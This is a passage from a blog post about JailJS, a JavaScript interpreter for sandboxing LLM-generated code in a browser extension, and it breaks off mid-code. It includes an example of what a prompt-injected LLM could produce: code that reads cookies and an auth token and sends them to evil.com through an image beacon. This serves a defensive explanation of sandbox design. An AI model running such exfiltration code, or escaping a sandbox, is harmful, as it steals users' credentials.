class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">decl</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">init</span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">?</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">evaluate</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">decl</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">init</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">scope</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">:</span> <span class=\"syntax-constant syntax-language syntax-undefined syntax-js\">undefined</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n                <span class=\"syntax-variable syntax-other syntax-object syntax-js\">scope</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">declareVariable</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">decl</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">id</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">name</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n            </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n            <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-constant syntax-language syntax-undefined syntax-js\">undefined</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n        <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ... 50+ more cases for all ES5 features\n</span>    </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n</span></span></code></pre>\n<p>The <code>scope</code> parameter keeps track of variables and their values. Each function creates a new scope that can access variables from its parent scope, forming a chain. When you look up a variable, you start in the current scope and walk up the chain to the global scope. If you can't find it, you throw an error that the variable is undefined.</p>\n<p>Now, again, I suggest reading Bob's book. And if you're brave, you can look at the <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/badlogic/jailjs/blob/main/src/interpreter.ts\">actual interpreter code</a> that powers JailJS (the little interpreter project this blog post is actually about). As you can see, it's a little bit more involved than the above examples make it out to be, but it's also not rocket science.</p>\n<p>The interpreter actually handles all of the ES5 spec. Through the power of Babel's transpiler, we can also take ES6+ or even TypeScript or JSX code and have it compiled down to ES5 so our interpreter can run that too. That means we can also use async/await, classes, and other ES6+ features. That said, in its current iteration, the interpreter cannot deal with some more advanced ES6+ features like generators, ES6 modules, Proxies, Reflect, WeakRef, SharedArrayBuffer, or Atomics.</p>\n<p>But wait, wasn't this supposed to be kind of like a sandbox from which the LLM shouldn't be able to escape like a demented Houdini?</p>\n<h2>Putting the sand in the sandbox</h2>\n<p>The key to sandboxing is controlling what the interpreted code has access to. Remember that <code>scope</code> parameter we pass to the interpreter? We can populate it with exactly the APIs we want the code to have access to, and nothing more. The code being interpreted can't reach out into the surrounding JavaScript execution environment and access things we didn't explicitly provide. Well, at least that's the theory.</p>\n<p>By default, JailJS provides a minimal set of globals: <code>console</code>, <code>Math</code>, <code>JSON</code>, <code>Date</code>, <code>RegExp</code>, basic constructors like <code>Array</code> and <code>Object</code>, error types, and global functions like <code>parseInt</code> and <code>parseFloat</code>. Notably absent are <code>window</code>, <code>document</code>, <code>fetch</code>, and other browser APIs. And critically, <code>Function</code> and <code>eval</code> are blocked to prevent the code from breaking out of the sandbox.</p>\n<p>But we can inject additional APIs as needed. For example, in the extension use case, we can inject <code>document</code> so the LLM-generated code can interact with the DOM, like reading DOM contents, clicking buttons, or modifying DOM elements:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">interpreter</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-variable syntax-type syntax-js\">Interpreter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">document</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">console</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">console</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>Astute readers will immediately see the problem with that. Let me illustrate what a prompt-injected LLM could generate:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Code to be interpreted - exfiltrates sensitive data\n</span><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">cookies</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">cookie</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">win</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">defaultView</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">localStorage</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">win</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">localStorage</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">getItem</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>auth_token<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Send to evil server via image beacon\n</span><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">img</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">createElement</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>img<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">img</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">src</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>https://evil.com/steal?data=<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-support syntax-function syntax-js\">encodeURIComponent</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">cookies</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>|<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">localStorage</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">body</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">appendChild</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">img</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>Now we can play a cat and mouse game and try to expose <code>document</code> while preventing access to specific properties on it, like <code>defaultView</code> which gives access to the global <code>window</code> object, which in turn gives access to local storage and cookies:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">proxiedDoc</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-support syntax-class syntax-builtin syntax-js\">Proxy</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">get</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">target</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">prop</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">prop</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>defaultView<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span> <span class=\"syntax-keyword syntax-operator syntax-logical syntax-js\">||</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">prop</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>ownerDocument<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n            <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-constant syntax-language syntax-undefined syntax-js\">undefined</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n        <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">target</span><span class=\"syntax-meta syntax-brackets syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">prop</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-keyword syntax-operator syntax-js\">typeof</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>function<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">?</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">value</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">bind</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">target</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n    <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">interpreter</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-variable syntax-type syntax-js\">Interpreter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">document</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">proxiedDoc</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>But ultimately, this is a Sisyphean task, and we are bound to fail gloriously. There's basically an infinite amount of attack vectors we would need to patch, which is really fucking hard.</p>\n<p>The alternative is to not expose native objects like <code>document</code> directly, but instead expose custom-defined functions for specific tasks. For example, instead of giving full DOM access, we could provide:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">interpreter</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-instance syntax-constructor syntax-js\"><span class=\"syntax-keyword syntax-operator syntax-word syntax-new syntax-js\">new</span><span class=\"syntax-meta syntax-function-call syntax-constructor syntax-js\"> <span class=\"syntax-variable syntax-type syntax-js\">Interpreter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Safe, limited API\n</span>    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">getPageText</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">body</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">innerText</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">findButtons</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-support syntax-class syntax-builtin syntax-js\">Array</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">from</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">querySelectorAll</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>button<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">map</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">b</span> <span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-variable syntax-other syntax-object syntax-js\">b</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">innerText</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">clickButton</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">text</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">btn</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-class syntax-builtin syntax-js\">Array</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">from</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">querySelectorAll</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>button<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n            <span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">find</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">b</span> <span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-variable syntax-other syntax-object syntax-js\">b</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">innerText</span> <span class=\"syntax-keyword syntax-operator syntax-comparison syntax-js\">===</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">text</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">btn</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> </span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">btn</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">click</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n    <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span 